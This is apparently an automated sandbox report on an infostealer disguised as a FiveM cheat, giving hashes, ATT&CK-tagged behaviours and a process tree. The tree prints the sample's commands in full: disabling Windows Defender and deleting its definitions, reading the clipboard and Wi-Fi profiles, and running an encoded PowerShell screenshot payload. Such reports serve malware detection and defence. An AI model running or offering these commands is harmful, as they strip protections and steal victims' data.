aa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 18:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Fivem W00fer/2} Built.exe
Size 7.6MB
Sample261024-xdvrqabx4v
SHA256 aa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638
MD5 d88ce7357a239ada102b6d161379673f
SHA1 695e92f476c02bebcb573bbdb5f859556aa16153
SHA512 4cea591a06278a3544966d31376ea28f0eeb6c1223f176f792081af76436a02f2ab366936ff8f45bc12070490f5e4b350cdf861d5240b8a4d12752c415677d5a
SSDEEP 196608:vWuDh6Q5wfI9jUCBB7m+mKOY7rXrZusooDmhfvsbnTNWs:pFoIHL7HmBYXrYoaUN7
TLSH
T1738633466A8044FBF977A43DC9C14A1FCA327E215760E9E74374876A4EA36F04C7A327
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
6080	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1516	powershell.exe
5560	powershell.exe
4276	powershell.exe
4872	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5560	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
6056	cmd.exe
852	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3116	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe
5000	2} Built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
10	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1184	tasklist.exe
4644	tasklist.exe
4388	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/0x000c00000001c5f2-21.dat	upx
behavioral4/memory/5000-25-0x00007FF9C30F0000-0x00007FF9C3755000-memory.dmp	upx
behavioral4/files/0x000c00000001c5e5-27.dat	upx
behavioral4/memory/5000-30-0x00007FF9DD9D0000-0x00007FF9DD9F7000-memory.dmp	upx
behavioral4/files/0x000c00000001c5f0-31.dat	upx
behavioral4/memory/5000-32-0x00007FF9DDBA0000-0x00007FF9DDBAF000-memory.dmp	upx
behavioral4/files/0x000c00000001c5e4-34.dat	upx
behavioral4/memory/5000-36-0x00007FF9DD9B0000-0x00007FF9DD9C9000-memory.dmp	upx
behavioral4/files/0x000c00000001c5e8-37.dat	upx
behavioral4/memory/5000-39-0x00007FF9DB4D0000-0x00007FF9DB4FB000-memory.dmp	upx
behavioral4/files/0x000c00000001c5eb-43.dat	upx
behavioral4/files/0x000c00000001c5f7-45.dat	upx
behavioral4/memory/5000-46-0x00007FF9D9E60000-0x00007FF9D9E85000-memory.dmp	upx
behavioral4/memory/5000-48-0x00007FF9D5D10000-0x00007FF9D5E8F000-memory.dmp	upx
behavioral4/files/0x000c00000001c5ea-49.dat	upx
behavioral4/memory/5000-52-0x00007FF9DB4B0000-0x00007FF9DB4C9000-memory.dmp	upx
behavioral4/files/0x000c00000001c5f6-51.dat	upx
behavioral4/memory/5000-54-0x00007FF9DD940000-0x00007FF9DD94D000-memory.dmp	upx
behavioral4/files/0x000c00000001c5ec-55.dat	upx
behavioral4/memory/5000-57-0x00007FF9D5CD0000-0x00007FF9D5D03000-memory.dmp	upx
behavioral4/files/0x000c00000001c5ef-58.dat	upx
behavioral4/files/0x000c00000001c5f1-59.dat	upx
behavioral4/memory/5000-64-0x00007FF9CE520000-0x00007FF9CE5EE000-memory.dmp	upx
behavioral4/memory/5000-63-0x00007FF9C30F0000-0x00007FF9C3755000-memory.dmp	upx
behavioral4/memory/5000-67-0x00007FF9DD9D0000-0x00007FF9DD9F7000-memory.dmp	upx
behavioral4/memory/5000-66-0x00007FF9C20F0000-0x00007FF9C2623000-memory.dmp	upx
behavioral4/files/0x000c00000001c5e7-68.dat	upx
behavioral4/memory/5000-70-0x00007FF9D7350000-0x00007FF9D7364000-memory.dmp	upx
behavioral4/files/0x000c00000001c5e9-71.dat	upx
behavioral4/memory/5000-73-0x00007FF9D7320000-0x00007FF9D732D000-memory.dmp	upx
behavioral4/files/0x000c00000001c5f8-74.dat	upx
behavioral4/memory/5000-77-0x00007FF9CE460000-0x00007FF9CE513000-memory.dmp	upx
behavioral4/memory/5000-76-0x00007FF9D9E60000-0x00007FF9D9E85000-memory.dmp	upx
behavioral4/memory/5000-78-0x00007FF9D5D10000-0x00007FF9D5E8F000-memory.dmp	upx
behavioral4/memory/5000-184-0x00007FF9D5CD0000-0x00007FF9D5D03000-memory.dmp	upx
behavioral4/memory/5000-195-0x00007FF9CE520000-0x00007FF9CE5EE000-memory.dmp	upx
behavioral4/memory/5000-210-0x00007FF9D7320000-0x00007FF9D732D000-memory.dmp	upx
behavioral4/memory/5000-211-0x00007FF9CE460000-0x00007FF9CE513000-memory.dmp	upx
behavioral4/memory/5000-208-0x00007FF9C20F0000-0x00007FF9C2623000-memory.dmp	upx
behavioral4/memory/5000-197-0x00007FF9C30F0000-0x00007FF9C3755000-memory.dmp	upx
behavioral4/memory/5000-295-0x00007FF9C30F0000-0x00007FF9C3755000-memory.dmp	upx
behavioral4/memory/5000-301-0x00007FF9D5D10000-0x00007FF9D5E8F000-memory.dmp	upx
behavioral4/memory/5000-313-0x00007FF9DDBA0000-0x00007FF9DDBAF000-memory.dmp	upx
behavioral4/memory/5000-311-0x00007FF9C30F0000-0x00007FF9C3755000-memory.dmp	upx
behavioral4/memory/5000-320-0x00007FF9D5CD0000-0x00007FF9D5D03000-memory.dmp	upx
behavioral4/memory/5000-322-0x00007FF9C20F0000-0x00007FF9C2623000-memory.dmp	upx
behavioral4/memory/5000-325-0x00007FF9CE460000-0x00007FF9CE513000-memory.dmp	upx
behavioral4/memory/5000-324-0x00007FF9D7320000-0x00007FF9D732D000-memory.dmp	upx
behavioral4/memory/5000-323-0x00007FF9D7350000-0x00007FF9D7364000-memory.dmp	upx
behavioral4/memory/5000-321-0x00007FF9CE520000-0x00007FF9CE5EE000-memory.dmp	upx
behavioral4/memory/5000-317-0x00007FF9D5D10000-0x00007FF9D5E8F000-memory.dmp	upx
behavioral4/memory/5000-319-0x00007FF9DD940000-0x00007FF9DD94D000-memory.dmp	upx
behavioral4/memory/5000-318-0x00007FF9DB4B0000-0x00007FF9DB4C9000-memory.dmp	upx
behavioral4/memory/5000-315-0x00007FF9DB4D0000-0x00007FF9DB4FB000-memory.dmp	upx
behavioral4/memory/5000-316-0x00007FF9D9E60000-0x00007FF9D9E85000-memory.dmp	upx
behavioral4/memory/5000-312-0x00007FF9DD9D0000-0x00007FF9DD9F7000-memory.dmp	upx
behavioral4/memory/5000-314-0x00007FF9DD9B0000-0x00007FF9DD9C9000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	2} Built.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
4744	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4432	cmd.exe
3456	cmd.exe
4916	cmd.exe
5748	cmd.exe
6064	cmd.exe
5608	cmd.exe
4232	cmd.exe
2496	cmd.exe
2304	cmd.exe
4108	cmd.exe
1100	cmd.exe
3448	cmd.exe
2044	cmd.exe
5588	cmd.exe
828	cmd.exe
5400	cmd.exe
2636	cmd.exe
3520	cmd.exe
1920	cmd.exe
5460	cmd.exe
3912	cmd.exe
4748	cmd.exe
4304	cmd.exe
2936	cmd.exe
4016	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2} Built.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2} Built.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2636	cmd.exe
4576	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2920	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3632	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
1516	powershell.exe
1516	powershell.exe
5560	powershell.exe
5560	powershell.exe
4836	WMIC.exe
4836	WMIC.exe
4836	WMIC.exe
4836	WMIC.exe
1516	powershell.exe
1516	powershell.exe
5560	powershell.exe
5560	powershell.exe
852	powershell.exe
852	powershell.exe
5272	powershell.exe
5272	powershell.exe
5272	powershell.exe
852	powershell.exe
4276	powershell.exe
4276	powershell.exe
4276	powershell.exe
5384	powershell.exe
5384	powershell.exe
5384	powershell.exe
1760	WMIC.exe
1760	WMIC.exe
1760	WMIC.exe
1760	WMIC.exe
5624	WMIC.exe
5624	WMIC.exe
5624	WMIC.exe
5624	WMIC.exe
4744	WMIC.exe
4744	WMIC.exe
4744	WMIC.exe
4744	WMIC.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
2920	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
1184	powershell.exe
1184	powershell.exe
1184	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	5560	powershell.exe
Token: SeDebugPrivilege	4388	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4836	WMIC.exe
Token: SeSecurityPrivilege	4836	WMIC.exe
Token: SeTakeOwnershipPrivilege	4836	WMIC.exe
Token: SeLoadDriverPrivilege	4836	WMIC.exe
Token: SeSystemProfilePrivilege	4836	WMIC.exe
Token: SeSystemtimePrivilege	4836	WMIC.exe
Token: SeProfSingleProcessPrivilege	4836	WMIC.exe
Token: SeIncBasePriorityPrivilege	4836	WMIC.exe
Token: SeCreatePagefilePrivilege	4836	WMIC.exe
Token: SeBackupPrivilege	4836	WMIC.exe
Token: SeRestorePrivilege	4836	WMIC.exe
Token: SeShutdownPrivilege	4836	WMIC.exe
Token: SeDebugPrivilege	4836	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4836	WMIC.exe
Token: SeRemoteShutdownPrivilege	4836	WMIC.exe
Token: SeUndockPrivilege	4836	WMIC.exe
Token: SeManageVolumePrivilege	4836	WMIC.exe
Token: 33	4836	WMIC.exe
Token: 34	4836	WMIC.exe
Token: 35	4836	WMIC.exe
Token: 36	4836	WMIC.exe
Token: SeDebugPrivilege	1184	tasklist.exe
Token: SeDebugPrivilege	4644	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4836	WMIC.exe
Token: SeSecurityPrivilege	4836	WMIC.exe
Token: SeTakeOwnershipPrivilege	4836	WMIC.exe
Token: SeLoadDriverPrivilege	4836	WMIC.exe
Token: SeSystemProfilePrivilege	4836	WMIC.exe
Token: SeSystemtimePrivilege	4836	WMIC.exe
Token: SeProfSingleProcessPrivilege	4836	WMIC.exe
Token: SeIncBasePriorityPrivilege	4836	WMIC.exe
Token: SeCreatePagefilePrivilege	4836	WMIC.exe
Token: SeBackupPrivilege	4836	WMIC.exe
Token: SeRestorePrivilege	4836	WMIC.exe
Token: SeShutdownPrivilege	4836	WMIC.exe
Token: SeDebugPrivilege	4836	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4836	WMIC.exe
Token: SeRemoteShutdownPrivilege	4836	WMIC.exe
Token: SeUndockPrivilege	4836	WMIC.exe
Token: SeManageVolumePrivilege	4836	WMIC.exe
Token: 33	4836	WMIC.exe
Token: 34	4836	WMIC.exe
Token: 35	4836	WMIC.exe
Token: 36	4836	WMIC.exe
Token: SeDebugPrivilege	852	powershell.exe
Token: SeDebugPrivilege	5272	powershell.exe
Token: SeIncreaseQuotaPrivilege	1516	powershell.exe
Token: SeSecurityPrivilege	1516	powershell.exe
Token: SeTakeOwnershipPrivilege	1516	powershell.exe
Token: SeLoadDriverPrivilege	1516	powershell.exe
Token: SeSystemProfilePrivilege	1516	powershell.exe
Token: SeSystemtimePrivilege	1516	powershell.exe
Token: SeProfSingleProcessPrivilege	1516	powershell.exe
Token: SeIncBasePriorityPrivilege	1516	powershell.exe
Token: SeCreatePagefilePrivilege	1516	powershell.exe
Token: SeBackupPrivilege	1516	powershell.exe
Token: SeRestorePrivilege	1516	powershell.exe
Token: SeShutdownPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeSystemEnvironmentPrivilege	1516	powershell.exe
Token: SeRemoteShutdownPrivilege	1516	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 5648 wrote to memory of 5000	5648	2} Built.exe	90
PID 5000 wrote to memory of 4432	5000	2} Built.exe	91
PID 5000 wrote to memory of 5588	5000	2} Built.exe	92
PID 5000 wrote to memory of 2044	5000	2} Built.exe	93
PID 5588 wrote to memory of 5560	5588	cmd.exe	97
PID 2044 wrote to memory of 6136	2044	cmd.exe	98
PID 4432 wrote to memory of 1516	4432	cmd.exe	99
PID 5000 wrote to memory of 6064	5000	2} Built.exe	100
PID 5000 wrote to memory of 828	5000	2} Built.exe	101
PID 5000 wrote to memory of 3456	5000	2} Built.exe	104
PID 5000 wrote to memory of 6056	5000	2} Built.exe	105
PID 5000 wrote to memory of 3520	5000	2} Built.exe	106
PID 5000 wrote to memory of 2636	5000	2} Built.exe	110
PID 5000 wrote to memory of 5400	5000	2} Built.exe	111
PID 5000 wrote to memory of 5608	5000	2} Built.exe	112
PID 5000 wrote to memory of 2872	5000	2} Built.exe	116
PID 6064 wrote to memory of 4388	6064	cmd.exe	118
PID 828 wrote to memory of 1184	828	cmd.exe	119
PID 3456 wrote to memory of 4836	3456	cmd.exe	163
PID 3520 wrote to memory of 4644	3520	cmd.exe	121
PID 5400 wrote to memory of 2372	5400	cmd.exe	122
PID 6056 wrote to memory of 852	6056	cmd.exe	123
PID 2872 wrote to memory of 5272	2872	cmd.exe	124
PID 5608 wrote to memory of 3632	5608	cmd.exe	125
PID 2636 wrote to memory of 4576	2636	cmd.exe	126
PID 5000 wrote to memory of 4016	5000	2} Built.exe	128
PID 4016 wrote to memory of 5460	4016	cmd.exe	150
PID 5272 wrote to memory of 2052	5272	powershell.exe	131
PID 2052 wrote to memory of 4992	2052	csc.exe	132
PID 5000 wrote to memory of 4232	5000	2} Built.exe	133
PID 4232 wrote to memory of 2340	4232	cmd.exe	135
PID 5000 wrote to memory of 2496	5000	2} Built.exe	136
PID 2496 wrote to memory of 5900	2496	cmd.exe	138
PID 5000 wrote to memory of 2304	5000	2} Built.exe	139
PID 2304 wrote to memory of 3272	2304	cmd.exe	141
PID 5000 wrote to memory of 4108	5000	2} Built.exe	142
PID 4108 wrote to memory of 1760	4108	cmd.exe	161
PID 5588 wrote to memory of 6080	5588	cmd.exe	175
PID 5000 wrote to memory of 1920	5000	2} Built.exe	147
PID 1920 wrote to memory of 4276	1920	cmd.exe	149
PID 5000 wrote to memory of 5460	5000	2} Built.exe	150
PID 5460 wrote to memory of 5384	5460	cmd.exe	152
PID 5000 wrote to memory of 3912	5000	2} Built.exe	153
PID 3912 wrote to memory of 5252	3912	cmd.exe	155
PID 5000 wrote to memory of 4748	5000	2} Built.exe	156
PID 4748 wrote to memory of 3116	4748	cmd.exe	158
PID 5000 wrote to memory of 4916	5000	2} Built.exe	159
PID 4916 wrote to memory of 1760	4916	cmd.exe	161
PID 5000 wrote to memory of 1100	5000	2} Built.exe	162
PID 1100 wrote to memory of 5624	1100	cmd.exe	164
PID 5000 wrote to memory of 4304	5000	2} Built.exe	165
PID 4304 wrote to memory of 4744	4304	cmd.exe	167
PID 5000 wrote to memory of 5748	5000	2} Built.exe	168
PID 5748 wrote to memory of 4872	5748	cmd.exe	170
PID 5000 wrote to memory of 3448	5000	2} Built.exe	171
PID 3448 wrote to memory of 2920	3448	cmd.exe	173
PID 5000 wrote to memory of 2936	5000	2} Built.exe	174
PID 2936 wrote to memory of 1184	2936	cmd.exe	176

C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe
"C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5648
- C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe"
  2⤵
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Fivem W00fer\2} Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5560
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:6080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Hile kullanıma hazır!!', 0, 'Satans Cheat', 48+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Hile kullanıma hazır!!', 0, 'Satans Cheat', 48+16);close()"
      4⤵
      PID:6136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6064
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:828
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3456
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:6056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3520
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5400
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5608
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgA